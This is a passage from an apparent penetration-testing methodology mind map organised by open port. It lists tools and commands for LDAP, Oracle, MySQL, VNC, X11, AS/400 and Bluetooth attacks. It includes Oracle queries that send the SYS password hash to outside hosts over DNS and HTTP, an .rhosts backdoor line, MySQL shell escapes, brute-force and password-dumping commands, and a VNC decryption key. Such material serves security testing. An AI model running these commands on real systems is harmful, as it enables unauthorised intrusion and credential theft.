  - ldapsearch [-n] [-u] [-v] [-k] [-K] [-t] [-A] [-L[L[L]]] [-M[M]] [-d debuglevel] [-f file] [-D binddn] [-W] [-w passwd] [-y passwdfile] [-H ldapuri] [-h ldaphost] [-p ldapport] [-P 2|3] [-b searchbase] [-s base|one|sub] [-a never|always|search|find] [-l timelimit] [-z sizelimit] [-O security-properties] [-I] [-U authcid] [-R realm] [-x] [-X authzid] [-Y mech] [-Z[Z]] filter [attrs...]
  - ldapadd [-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-h ldaphost][-p ldap-port][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file]
  - ldapdelete [-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-f file][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-P 2|3][-p ldapport][-O security-properties][-U authcid][-R realm][-x][-I][-Q] [-X authzid][-Y mech][-Z[Z]][dn]
  - ldapmodify [-a][-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file]
  - ldapmodrdn [-r][-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile] [-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x] [-X authzid][-Y mech][-Z[Z]][-f file][dn rdn]

2. ldap brute force
   - bf_ldap
     - bf_ldap -s server -d domain name -u|-U username | users list file name -L|-l passwords list | length of passwords to generate optional: -p port (default 389) -v (verbose mode) -P Ldap user path (default ,CN=Users,)
   - K0ldS
   - LDAP_Brute.pl

3. Examine Configuration Files
   - General
     - containers.ldif
     - ldap.cfg
     - ldap.conf
     - ldap.xml
     - ldap-config.xml
     - ldap-realm.xml
     - slapd.conf
   - IBM SecureWay V3 server
     - V3.sas.oc
   - Microsoft Active Directory server
     - msadClassesAttrs.ldif
   - Netscape Directory Server 4
     - nsslapd.sas_at.conf
     - nsslapd.sas_oc.conf
   - OpenLDAP directory server
     - slapd.sas_at.conf

- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
  - 75sas.ldif

- PPTP/L2TP/VPN port 500/1723 open
  - Enumeration
    - ike-scan
    - ike-probe
  - Brute-Force
    - ike-crack
  - Reference Material
    - PSK cracking paper
    - SecurityFocus Infocus
    - Scanning a VPN Implementation
- Modbus port 502 open
  - modscan
- rlogin port 513 open
  - Rlogin Enumeration
    - Find the files
      - find / -name .rhosts
      - locate .rhosts
    - Examine Files
      - cat .rhosts
    - Manual Login
      - rlogin hostname -l username
      - rlogin <IP>
    - Subvert the files
      - echo ++ > .rhosts
  - Rlogin Brute force
    - Hydra
- rsh port 514 open
  - 1 Rsh Enumeration
    - rsh host [-l username] [-n] [-d] [-k realm] [-f | -F] [-x] [-PN | -PO] command
  - 2 Rsh Brute Force
    - rsh-grind
    - Hydra
    - medusa
- SQL Server Port 1433 1434 open

Expand - Collapse

- SQL Enumeration
  - piggy
  - SQLPing
    - sqlping ip_address/hostname
  - SQLPing2
  - SQLPing3
  - SQLpoke
  - SQL Recon
  - SQLver
- SQL Brute Force
  - SQLPAT
    - sqlbf -u hashes.txt -d dictionary.dic -r out.rep - Dictionary Attack
    - sqlbf -u hashes.txt -c default.cm -r out.rep - Brute-Force Attack
  - SQL Dict
  - SQLAT
  - Hydra
  - SQLIhf
  - ForceSQL

- Citrix port 1494 open
  - Citrix Enumeration
    - Default Domain
    - Published Applications
      - ./citrix-pa-scan {IP_address/file | - | random} [timeout]
      - citrix-pa-proxy.pl IP_to_proxy_to [Local_IP]
  - Citrix Brute Force
    - bforce.js
    - connect.js
    - Citrix Brute-forcer
    - Reference Material
      - Hacking Citrix - the legitimate backdoor
      - Hacking Citrix - the forceful way

- Oracle Port 1521 Open
  - Oracle Enumeration
    - oracsec
    - Repscan
    - Sidguess
    - Scuba
    - DNS/HTTP Enumeration

- SQL> SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS WHERE US ERNAME='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL; SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS WHERE USERNAM E='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL
- SQL> select utl_http.request('http://gladius:5500/'||(SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')) from dual;

- WinSID
- Oracle default password list
- TNSVer
  - tnsver host [port]
- TCP Scan
- Oracle TNSLSNR
  - Will respond to: [ping] [version] [status] [service] [change_password] [help] [reload] [save_config] [set log_directory] [set display_mode] [set log_file] [show] [spawn] [stop]
- TNSCmd
  - perl tnscmd.pl -h ip_address
  - perl tnscmd.pl version -h ip_address
  - perl tnscmd.pl status -h ip_address
  - perl tnscmd.pl -h ip_address --cmdsize (40 - 200)
- LSNrCheck
- Oracle Security Check (needs credentials)
- OAT
  - sh opwg.sh -s ip_address
  - opwg.bat -s ip_address
  - sh oquery.sh -s ip_address -u username -p password -d SID OR c:\oquery -s ip_address -u username -p password -d SID
- OScanner
  - sh oscanner.sh -s ip_address
  - oscanner.exe -s ip_address
  - sh reportviewer.sh oscanner_saved_file.xml
  - reportviewer.exe oscanner_saved_file.xml
- NGS Squirrel for Oracle
- Service Register
  - Service-register.exe ip_address
- PLSQL Scanner 2008

2 Oracle Brute Force

- OAK
  - ora-getsid hostname port sid_dictionary_list
  - ora-auth-alter-session host port sid username password sql
  - ora-brutesid host port start
  - ora-pwdbrute host port sid username password-file
  - ora-userenum host port sid userlistfile

Expand - Collapse

- ora-ver -e (-f -l -a) host port

- breakable (Targets Application Server Port)
  - breakable.exe host url [port] [v]host ip_address of the Oracle Portal Serverurl PATH_INFO i.e. /pls/orassoport TCP port Oracle Portal Server is serving pages fromv verbose
- SQLInjector (Targets Application Server Port)
  - sqlinjector -t ip_address -a database -f query.txt -p 80 -gc 200 -ec 500 -k NGS SOFTWARE -gt SQUIRREL
  - sqlinjector.exe -t ip_address -p 7777 -a where -gc 200 -ec 404 -qf q.txt -f plsql.txt -s oracle
- Check Password
- orabf
  - orabf [hash]:[username] [options]
- thc-orakel
  - Cracker
  - Client
  - Crypto
- DBVisualisor
  - Sql scripts from pentest.co.uk
  - Manual sql input of previously reported vulnerabilties

3. Oracle Reference Material
   - Understanding SQL Injection
   - SQL Injection walkthrough
   - SQL Injection by example
   - Advanced SQL Injection in Oracle databases
   - Blind SQL Injection
   - SQL Cheatsheets
     - http://ha.ckers.org/sqlinjection

       http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

       http://www.0x000000.com/?i=14

       http://pentestmonkey.net/?

- NFS Port 2049 open

1. NFS Enumeration
   - showmount -e hostname/ip_address
   - mount -t nfs ip_address:/directory_found_exported /local_mount_point
2. NFS Brute Force
   - Interact with NFS share and try to add/delete
   - Exploit and Confuse Unix
3. Examine Configuration Files
   - /etc/exports
   - /etc/lib/nfs/xtab

Expand - Collapse

- nmap nse script
  - nfs-showmount

- Compaq/HP Insight Manager Port 2301,2381open
  - HP Enumeration
    - Authentication Method
      - Host OS Authentication
      - Default Authentication
        - Default Passwords
    - Wikto
    - Nstealth
  - HP Bruteforce
    - Hydra
    - Acunetix
  - Examine Configuration Files
    - path.properties
    - mx.log
    - CLIClientConfig.cfg
    - database.props
    - pg_hba.conf
    - jboss-service.xml
    - .namazurc

- MySQL port 3306 open
  - Enumeration
    - nmap -A -n -p3306 <IP Address>
    - nmap -A -n -PN --script:ALL -p3306 <IP Address>
    - telnet IP_Address 3306
    - use test; select * from test;
    - To check for other DB's -- show databases
  - Administration
    - MySQL Network Scanner
    - MySQL GUI Tools
    - mysqlshow
    - mysqlbinlog
  - Manual Checks
    - Default usernames and passwords
      - username: root password:
      - testing

- mysql -h <Hostname> -u root
- mysql -h <Hostname> -u root
- mysql -h <Hostname> -u root@localhost
- mysql -h <Hostname>
- mysql -h <Hostname> -u ""@localhost

- Configuration Files
  - Operating System
    - windows
      - config.ini
      - my.ini
        - windows\my.ini
        - winnt\my.ini
      - <InstDir>/mysql/data/
    - unix
      - my.cnf
        - /etc/my.cnf
        - /etc/mysql/my.cnf
        - /var/lib/mysql/my.cnf
        - ~/.my.cnf
        - /etc/my.cnf
  - Command History
    - ~/.mysql.history
  - Log Files
    - connections.log
    - update.log
    - common.log
  - To run many sql commands at once -- mysql -u username -p < manycommands.sql
  - MySQL data directory (Location specified in my.cnf)
    - Parent dir = data directory
    - mysql
    - test
    - information_schema (Key information in MySQL)
      - Complete table list -- select table_schema,table_name from tables;
      - Exact privileges -- select grantee, table_schema, privilege_type FROM schema_privileges;
      - File privileges -- select user,file_priv from mysql.user where user='root';
      - Version -- select version();
      - Load a specific file -- SELECT LOAD_FILE('FILENAME');
  - SSL Check
    - mysql> show variables like 'have_openssl';

- If there's no rows returned at all it means the the distro itself doesn't support SSL connections and probably needs to be recompi
  it means that the service just wasn't started with ssl and can be easily fixed.

- Privilege Escalation
  - Current Level of access
    - mysql>select user();
    - mysql>select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';
  - Access passwords
    - mysql> use mysql
    - mysql> select user,password from user;
  - Create a new user and grant him privileges
    - mysql>create user test identified by 'test';
    - mysql> grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
  - Break into a shell
    - mysql> \! cat /etc/passwd
    - mysql> \! bash
- SQL injection
  - mysql-miner.pl
    - mysql-miner.pl http://target/ expected_string database
  - http://www.imperva.com/resources/adc/sql_injection_signatures_evasion.html
  - http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/
- References.
  - Design Weaknesses
    - MySQL running as root
    - Exposed publicly on Internet
  - http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=mysql
  - http://search.securityfocus.com/swsearch?sbm=%2F&metaname=alldoc&query=mysql&x=0&y=0

- RDesktop port 3389 open
  - Rdesktop Enumeration
    - Remote Desktop Connection
  - Rdestop Bruteforce
    - TSGrinder
      - tsgrinder.exe -w dictionary_file -l leet -d workgroup -u administrator -b -n 2 IP_Address
    - Tscrack

- Sybase Port 5000+ open
  - Sybase Enumeration
    - sybase-version ip_address from NGS

Expand - Collapse

- Sybase Vulnerability Assessment
  - Use DBVisualiser
    - Sybase Security checksheet
      - Copy output into excel spreadsheet
      - Evaluate mis-configured parameters
    - Manual sql input of previously reported vulnerabilties
      - Advanced SQL Injection in SQL Server
      - More Advanced SQL Injection
  - NGS Squirrel for Sybase
- SIP Port 5060 open
  - SIP Enumeration
    - netcat
      - nc IP_Address Port
    - sipflanker
      - python sipflanker.py 192.168.1-254
    - Sipscan
    - smap
      - smap IP_Address/Subnet_Mask
      - smap -o IP_Address/Subnet_Mask
      - smap -I IP_Address
  - SIP Packet Crafting etc.
    - sipsak
      - Tracing paths: - sipsak -T -s sip:usernaem@domain
      - Options request:- sipsak -vv -s sip:username@domain
      - Query registered bindings:- sipsak -I -C empty -a password -s sip:username@domain
    - siprogue
  - SIP Vulnerability Scanning/ Brute Force
    - tftp bruteforcer
      - Default dictionary file
      - ./tftpbrute.pl IP_Address Dictionary_file Maximum_Processes
    - VoIPaudit
    - SiVuS
  - Examine Configuration Files
    - SIPDefault.cnf
    - asterisk.conf
    - sip.conf
    - phone.conf

- sip_notify.conf
- <Ethernet address>.cfg
- 000000000000.cfg
- phone1.cfg
- sip.cfg etc. etc.

Expand - Collapse

- VNC port 5900^ open
  - 1 VNC Enumeration
    - Scans
      - 5900^ for direct access.5800 for HTTP access.
  - 2 VNC Brute Force
    - Password Attacks
      - Remote
        - Password Guess
          - vncrack
        - Password Crack
          - vncrack
          - Packet Capture
            - Phosshttp://www.phenoelit.de/phoss
      - Local
        - Registry Locations
          - \HKEY_CURRENT_USER\Software\ORL\WinVNC3
          - \HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
        - Decryption Key
          - 0x238210763578887
  - 3 Exmine Configuration Files
    - .vnc
    - /etc/vnc/config
    - $HOME/.vnc/config
    - /etc/sysconfig/vncservers
    - /etc/vnc.conf
- X11 port 6000^ open
  - 1 X11 Enumeration
    - List open windows
    - Authentication Method
      - Xauth
      - Xhost
  - 2 X11 Exploitation

Expand - Collapse

- xwd
  - xwd -display 192.168.0.1:0 -root -out 192.168.0.1.xpm
- Keystrokes
  - Received
  - Transmitted
- Screenshots
- xhost +

3 Examine Configuration Files
- /etc/Xn.hosts
- /usr/lib/X11/xdm
  - Search through all files for the command "xhost +" or "/usr/bin/X11/xhost +"
- /usr/lib/X11/xdm/xsession
- /usr/lib/X11/xdm/xsession-remote
- /usr/lib/X11/xdm/xsession.0
- /usr/lib/X11/xdm/xdm-config
  - DisplayManager*authorize:on

Tor Port 9001, 9030 open
- Tor Node Checker
  - Ip Pages
  - Kewlio.net
- nmap NSE script

Jet Direct 9100 open
- hijetta

Password cracking
- Rainbow crack
  - ophcrack
  - rainbow tables
    - rcrack c:\rainbowcrack*.rt -f pwfile.txt
- Ophcrack
- Cain & Abel
- John the Ripper
  - ./unshadow passwd shadow > file_to_crack
  - ./john -single file_to_crack
  - ./john -w=location_of_dictionary_file -rules file_to_crack
  - ./john -show file_to_crack
  - ./john --incremental:All file_to_crack
- fgdump

- fgdump [-t][-c][-w][-s][-r][-v][-k][-l logfile][-T threads] {{-h Host | -f filename} -u Username -p Password | -H filename} i.e. fgdump.exe -u hacker -p har Expand - Collapse
  target.txt
- pwdump6
  - pwdump [-h][-o][-u][-p] machineName
- medusa
- LCP
- L0phtcrack (Note: - This tool was aquired by Symantec from @Stake and it is there policy not to ship outside the USA and Canada
  - Domain credentials
  - Sniffing
  - pwdump import
  - sam import
- aiocracker
  - aiocracker.py [md5, sha1, sha256, sha384, sha512] hash dictionary_list

- Vulnerability Assessment - Utilising vulnerability scanners all discovered hosts can then be tested for vulnerabilities. The result would then be analysed to determine if there any vulnerabilities that could be exploited to gain access to a target host on a network. A number of tests carried out by these scanners are just banner grabbing/ obtaining version information, once these details are known, the version is compared with any common vulnerabilities and exploits (CVE) that have been released and reported to the user. Other tools actually use manual pen testing methods and display the output received i.e. showmount -e ip_address would display the NFS shares available to the scanner whcih would then need to be verified by the tester.
  - Manual
    - Patch Levels
    - Confirmed Vulnerabilities
      - Severe
      - High
      - Medium
      - Low
  - Automated
    - Reports
    - Vulnerabilities
      - Severe
      - High
      - Medium
      - Low
  - Tools
    - GFI
    - Nessus (Linux)
      - Nessus (Windows)
    - NGS Typhon
    - NGS Squirrel for Oracle
    - NGS Squirrel for SQL

Expand - Collapse

- SARA
- MatriXay
- BiDiBlah
- SSA
- Oval Interpreter
- Xscan
- Security Manager +
- Inguma

- Resources
  - Security Focus
  - Microsoft Security Bulletin
  - Common Vulnerabilities and Exploits (CVE)
  - National Vulnerability Database (NVD)
  - The Open Source Vulnerability Database (OSVDB)
    - Standalone Database
      - Update URL
  - United States Computer Emergency Response Team (US-CERT)
  - Computer Emergency Response Team
  - Mozilla Security Information
  - SANS
  - Securiteam
  - PacketStorm Security
  - Security Tracker
  - Secunia
  - Vulnerabilities.org
  - ntbugtraq
  - Wireless Vulnerabilities and Exploits (WVE)
- Blogs
  - Carnal0wnage
  - Fsecure Blog
  - g0ne blog
  - GNUCitizen
  - ha.ckers Blog
  - Jeremiah Grossman Blog
  - Metasploit
  - nCircle Blogs
  - pentest mokney.net
  - Rational Security
  - Rise Security
  - Security Fix Blog
  - Software Vulnerability Exploitation Blog

- Taosecurity Blog

Expand - Collapse

AS/400 Auditing

Remote

Information Gathering

1. Nmap using common iSeries (AS/400) services.

Unsecured services (Port;name;description)

- 446;ddm;DDM Server is used to access data via DRDA and for record level access

449;As-svrmap; Port Mapper returns the port number for the requested server

2001;As-admin-http;HTTP server administration

5544;As-mtgctrlj;Management Central Server used to manage multiple AS/400S in a net

5555;As-mtgctrl;Management Central Server used to manage multiple AS/400S in a net

8470;As-Central;Central Server used when a client Access licence is required for downloading translation tables

8471;As-Database;Database server used for accessing the AS/400 database

8472;As-dtaq;Data Queue server allows access to the AS/400 data queues used for passing data between applications

8473;As-file;File Server is used for accessing any part of the AS/400

8474;as-netprt; Printer Server used to access printers known to the AS/400

8475;as-rmtcmd;Remote Command Server used to send commands from PC to an AS/400

8476;as-signon;Sign-on server is used for every client Access connection to authenticate users and to change passwords

8480;as-usf;Ultimedia facilities used for multimedia data

Secured services (Port;name;description)

- 447;ddm-ssl;DDM Server is used to access data via DRDA and for record level access

448;ddm;DDM Server is used to access data via DRDA and for record level access

992;telnet-ssl;Telnet Server

2010;As-admin-https;HTTP server administration

5566;As-mtgctrl-ss;Management Central Server used to manage multiple AS/400S in a net

5577;As-mtgctrl-cs;Management Central Server used to manage multiple AS/400S in a net

9470;as-central-s;Central Server used when a client Access licence is required for downloading translation tables

9471;as-database-s;Database Server

9472;as-dtaq-s;Data Queue server allows access to the AS/400 data queues used for passing data between applications

9473;as-file-s;File Server is used for accessing any part of the AS/400

9474;as-netprt-s; Printer Server used to access printers known to the AS/400

9475;as-rmtcmd-s;Remote Command Server used to send commands from PC to an AS/400

9476;as-signon-s;Sign-on server is used for every client Access connection to authenticate users and to change passwords

2. NetCat (old school technique)

Expand - Collapse

- nc -v -z -w target ListOfServices.txt | grep "open"

- Banners Grabbing
  - Telnet
    - Using TN5250
      - Tools
        - tn5250.sourceforce.net
        - Mochasoft (trial)
        - SDI (Trial)
        - Debian package
        - IBM Client Access iSeries (install for Debian)
          - Good How-To (in French).
          - Security-Database transcription in english
            - 1. Download the Package from location
            - 2. Convert RPM to DEB package
              - 1. Aptitude install alien
              - 2. alien iSeriesAccess-XX.rpm
            - 3. Installing Deb Package
              - dpkg -i iSeriesAccess-xxx.deb
            - 4. Running binary file
              - /opt/ibm/iSeriesAccess/bin/ibm5250
                - Sometimes this error occurs : error while loading libXm.so.3
                  - This means OpenMotif is missing
                    - 1. Add deb http://ftp2.fr.debian.org/ sid main non-free to /etc/apt/sources.list
                    - 2. aptitude update
                    - 3. aptitude install libmotif3
                    - 4. Remove added line from /etc/apt/sources.list and launch aptitude update
                - After installing OpenMotif, this error sometimes occurs : error while loading libcwbcore.so
                  - This means Lib Path to iseriesaccess could not be reached
                    - 1. You should add iseriesaccess (/opt/ibm/iSeriesAccess/lib) to /etc/ld.so.conf
                    - 2. run the command : ldconfig
                    - Old School hack : LD_LIBRARY_PATH=/opt/ibm/iSeriesAccess/lib/:${LD_LIBRARY_PATH} /opt/ibm/iSeriesAccess/bin/ibm5250
                - Something else
              - Search for binary using dpkg -L iseriesaccess
    - FTP
      - echo quit | nc -v target 21

Expand - Collapse

- HTTP Banner
  - echo GET / | nc -v target 80
  - Browser HTTP administrative (if available)
    - http://target:2001
    - http://target:2010
- POP3
  - echo quit | nc target 110
  - Basic POP3 retriever
    - GetMail
- SNMP
  - Snmpwalk
  - GFI Languard
- SMTP
  - SMTPScan

- Users Enumeration
  - Default AS/400 users accounts
  - Error messages
    - Telnet Login errors
      - CPF1107: Password not correct for user profile XXXX
      - CPF1120: User XXXX does not exist
      - CPF1116 : Next not valid sign-on attempt variers off device?
      - CPF1392 : Next not valid sign-on attempt disables user profile XXXX
      - CPF1394: User profile XXXX cannot sign on?
      - CPF1118:No password associated with the user XXXX
      - CPF1109: Not authorized to subsystem
      - CPF1110: Not authorized to work station?
    - POP3 authentication Errors
      - CPF2204: User profile XXXX not found
      - CPF22E2: Password not correct for User profile XXXX
      - CPF22E3: User profile XXXX is disabled
      - CPF22E4: Password for User profile XXXX has expired
      - CPF22E5: No Password associated with User profile XXXX
  - Qsys symbolic link (if ftp is enabled)
    - ftp target | quote stat | quote site namefmt 1
    - cd /
    - quote site listfmt 1
    - mkdir temp
    - quote rcmd ADDLNK OBJ('/qsys.lib') NEWLNK('/temp/qsys')
    - quote rcmd QSH CMD('ln -fs /qsys.lib /temp/qsys')
    - dir /temp/qsys/*.usrprf

Expand - Collapse

- Here you should list some profils

- LDAP
  - Need os400-sys value from ibm-slapdSuffix
    - Think to grab it using FTP from (QIBM/UserData/OS400/DirSrv/
      - slapd.conf
        - dn: cn=System, cn=System Backends, cn=IBM Directory, cn=Schemas, cn=Configuration

          cn: System

          slapdPlugin: database /QSYS.LIB/QGLDPSYS.SRVPGM sysprj_backend_init

          slapdReadOnly: FALSE

          slapdSuffix: os400-sys=**HERE IS THE VALUE YOU ARE LOOKING FOR**

          objectclass: top

          objectclass: ibm-slapdConfigEntry

          objectclass: ibm-slapdOs400SystemBackend
        - ibmslapd.conf
      - Resolve IP address.
      - Telnet Value screen.
        - Server : AS400_ANDOLINI

          COMPANY : DONCORLEONE.COM

          Value should be : AS400_ANDOLINI.DONCORLEONE.COM
    - Tool to browse LDAP
      - LdapBrowser
      - LDAP Utility
      - Luma Ldap brower and more
      - LdapSearch (unix utility)
        - Enumeration
          - ldapsearch -h AS400SERVER \ -b "cn=accounts,os400-sys=**AS400-Name**" \ -D "os400-profile=$LOGIN$,cn=accounts,os400-sys=**AS400-Name**" \ -w $PASSWRD -L -s sub "os400-profile=*" > MyUSERS.log

            AS400-Name : is the value you grabbed before
          - ldapsearch -h target \ -b "cn=accounts,os400-sys=AS400-Name" \ -D "os400-profile=$LOGIN$,cn=accounts,os400-sys=AS400-Name" \ -w $PASSWRD -L -s sub "os400-profile=**USER_YOU_WANT**" > COMPLETEINFO_ONUSER.log

- Exploitation
  - CVE References
    - http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=AS400
    - CVE-2005-1244 - Severity : High - CVSS : 7.0
    - CVE-2005-1243 - Severity : Low - CVSS : 3.3
    - CVE-2005-1242 - Severity : Low - CVSS : 3.3

Expand - Collapse

- CVE-2005-1241 - Severity : High - CVSS : 7.0
- CVE-2005-1240 - Severity : High - CVSS : 7.0
- CVE-2005-1239 - Severity : Low - CVSS : 3.3
- CVE-2005-1238 - Severity : High - CVSS : 9.0
- CVE-2005-1182 - Severity : Low - CVSS : 3.3
- CVE-2005-1133 - Severity : Low - CVSS : 3.3
- CVE-2005-1025 - Severity : Low - CVSS : 3.3
- CVE-2005-0868 - Severity : High - CVSS : 7.0
- CVE-2005-0899 - Severity : Low - CVSS : 2.3
- CVE-2002-1822 - Severity : Low - CVSS : 3.3
- CVE-2002-1731 - Severity : Low - CVSS : 2.3
- CVE-2000-1038 - Severity : Low - CVSS : 3.3
- CVE-1999-1279 - Severity : Low - CVSS : 3.3
- CVE-1999-1012 - Severity : Low - CVSS : 3.3

⊟ Access with Work Station Gateway

- http://target:5061/WSG
- Default AS/400 accounts.

⊟ Network attacks (next release)

- DB2
- QSHELL
- Hijacking Terminals
- Trojan attacks
- Hacking from AS/400

⊟ Local

⊟ System Value Security

⊟ QSECURITY

System security level objects and operating system integrity

⊟ **Recommended value : 30**

Level of security selected is sufficient for keeping Passwords, objects and operating system integrity

- Insufficient security level could compromise objects and operating system integrity

⊟ QVFYOBJRST

Verify object on restore verifies object signatures during restore.

- Do not verify signatures on restore, allowing such a command or program represents an integrity risk to your system

⊟ QMAXSIGN

Expand - Collapse

Maximum sign-on attempts

- This restricts the number of times a user can incorrectly attempt to sign-on to the system before being disabled.?
  The action taken by the system when this number is exceeded is determined by the preceding parameter

QINACTITV

Inactive Job Time-Out

- **Recommended value is 30**
  - Value 0 means the system will never log a user off the system.?

Password Policy

QPWDEXPITV

Password expiration interval specifies whether user passwords expire or not, controls the number of days allowed before a password must be changed.

- Number of days before expiration interval exceeds the recommended, this compromises the password security on your system

QPWDRQDDIF

Duplicate password control prevents users from specifying passwords that they have used previously

- **Recommended value is 1**
  This prevents passwords from being reused for (returned value) generations for a user ID.?

QPWDMINLEN

Minimum password length specifies the minimum number of characters for a password

- **Recommended value is 5 (6 is a must)**
  This forces passwords to a minimum length of (returned value) alphanumeric characters.

QPWDMAXLEN

Maximum password length maximum number of characters for a password

- **Recommended value is 10**
  This limits the length of a password to (returned value) alphanumeric characters.?

- QPWDLVL
  Password level the system can be set to allow for user profile passwords from 1-10 or

1-128 characters

Expand - Collapse

- Audit level
  - QAUDCTL

    This ensures that all security related functions are audited and stored

    in a log file for review and follow-up
    - **Recommended value is *SECURITY**
- Documentation
  - Users class
    - *PGMR ---> Programmer

      *SECADM ---> Security Administrator

      *SECOFR ---> Security Officer

      *SYSOPR --->System Operator

      *USER ---> User
  - System Audit Settings
    - ***AUDLVL System auditing** : *System auditing events logged and may be audited*

      ***OBJAUD Object auditing** : *Object auditing activity defined logged and may be audited*

      ***AUTFAIL Authorized failure:**All access failure,Incorrect Password or User ID logged and may be audited*

      ***PGMFAIL System integrity violation** : *Blocked instructions,Validation failure,Domain violation logged and may be audited*

      ***JOBDTA Job tasks :** Job start and stop data(disconnect,prestart) logged and may be audited*

      ***NETCMN Communication & Networking tasks :**Action that occur for APPN filtering support logged and may be audited*

      ***SAVRST Object restore**: Restore(PGM,JOBD,Authority,CMD,System State) logged and may be audited*

      ***SECURITY Security tasks:**All security related functions(CRT/CHG/DLT/RST) logged and may be audited*

      ***SERVICE Services HW/SW**: Actions for performing HW or SW services logged and may be audited*

      ***SYSMGT System management**: Registration,Network,DRDA,SysReplay,Operational not logged and cannot be audited*

      ***CREATE Object creation:**Newly created objects, Replace exisitng objects logged and may be audited*

      ***DELETE Object deletion**: All deletion of external objects logged and may be audited*

      ***OFCSRV Office tasks**: Office tasks(system distribution directory,Mail) logged and may be audited*

      ***OPTICAL Optical tasks:**Optical tasks(add/remove optical cartridge,Autho) logged and may be audited*

      ***PGMADP Program authority adoption**: Program adopted authority, gain access to an object logged and may be audited*

      ***OBJMGT Object management:**Object management logged and may be audited*

      ***SPLFDTA Spool management:**Spool management logged and may be audited*
  - Special Authorities Definitions
    - **All-Object Authority (*ALLOBJ)** : This is the most powerful authority on any AS400 system. This authority grants the user complete access to everything on the system. A user with All-Object Authority cannot be controlled.

Expand - Collapse

Service Authority (*SERVICE) : Service Authority provides the user with the ability to change system hardware and disk configurations, t traffic and to put programs into debug mode (troubleshooting mode) and see their internal workings. The system services tools include the ability to trace systems functions and to patch and alter user made and IBM delivered programs on disk

manipulate data on disk.

Save and Restore Authority (*SAVSYS) : This authority allows the user to backup and restore objects. The user need not have authority to those objects. The risk with SAVSYS Authority is that a user with this authority can save all objects (including the most sensitive files) to disk (save file), delete any object (with the Free Storage option), restore the file to an alternate library, and then view and alter the information. Should the user alter the information, they would have the ability to replace the production object with

their saved version.

System Configuration Authority (*IOSYSCFG) : System communication configuration authority can also be used to set up nearly invisible access from the outside as a security officer -- without needing a password. System Configuration Authority provides the ability to configure and change communication configurations (e.g. lines, controllers, devices), including the system's TCP/IP and Internet connection information.

Spool Control Authority (*SPLCTL) : Spool Control authority gives the user read and modify all spooled objects (reports, job queue entries, etc.) on your system. The user may hold, release and clear job and output queues, even if they are not authorized to those queues.

Security Administrator Authority (*SECADM) : Security Administrator grants the authority to create, change and delete user ID?s. This authority should be reserved to essential administration personnel only.

Job Control Authority (*JOBCTL) : Job Control Authority can be used to power down the system or to**terminate subsystems or individual jobs at any time, even during critical operational periods. Job Control Authority provides the capability to control other user?s jobs as well as their spooled files and printers.**

Audit Authority (*AUDIT) : Audit Authority puts a user in control of the system auditing functions. Such a user can manipulate the system values that control auditing and control user and object auditing. These users could also turn off auditing for sensitive objects in an effort to obscure certain actions

- Bluetooth Specific Testing
  - General Tools
    - Bluescanner
    - Bluesweep
    - Bloover
    - Blueprint
    - Bluesnarfer
    - Bluebugger
      - bluebugger [OPTIONS] -a <addr> [MODE]
    - Blueserial
    - Bluelog
      - bluelog -vtn -o ./example.log
    - Bluesniff
    - bluez-hcidump
    - btscanner
    - Redfang
    - Spooftooph
  - Exploit Frameworks

- Bluediving
- BlueMaho
  - # atshell.c by Bastian Ballmann (modified attest.c by Marcel Holtmann)
    # bccmd by Marcel Holtmann
    # bdaddr.c by Marcel Holtmann
    # bluetracker.py by smiley
    # psm_scan and rfcomm_scan from bt_audit-0.1.1 by Collin R. Mulliner
    # BSS (Bluetooth Stack Smasher) v0.8 by Pierre Betouin
    # btftp v0.1 by Marcel Holtmann
    # btobex v0.1 by Marcel Holtmann
    # greenplaque v1.5 by digitalmunition.com
    # L2CAP packetgenerator by Bastian Ballmann
    # redfang v2.50 by Ollie Whitehouse
    # ussp-push v0.10 by Davide Libenzi
    # exploits:
    Bluebugger v0.1 by Martin J. Muench
    bluePIMp by Kevin Finisterre
    BlueZ hcidump v1.29 DoS PoC by Pierre Betouin
    helomoto by Adam Laurie
    hidattack v0.1 by Collin R. Mulliner
    Nokia N70 l2cap packet DoS PoC Pierre Betouin
    Sony-Ericsson reset display PoC by Pierre Betouin
- Bluetooth Penetration Testing Framework

Resources

URL's

- BlueStumbler.org
- Bluejackq.com
- Bluejacking.com
- Bluejackers
- bluetooth-pentest
- ibluejackedyou.com
- Trifinite

Vulnerability Information

Common Vulnerabilities and Exploits (CVE)

- Vulnerabilties and exploit information relating to these products can be found here: http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=bluetooth

White Papers

- Bluesnarfing
- Fuzzing Bluetooth
- NIST Guide to Bluetooth Security

Cisco Specific Testing

Methodology

1. Scan & Fingerprint.

- The purpose of 'Scan & Fingerprint' is to identify open ports on the target device and attempt to determine the exact IOS version.??This then s
further attacks.
- It Telnet is active, then password guessing attacks should be performed.
- If SNMP is active, then community string guessing should be performed.

2. Credentials Guessing.
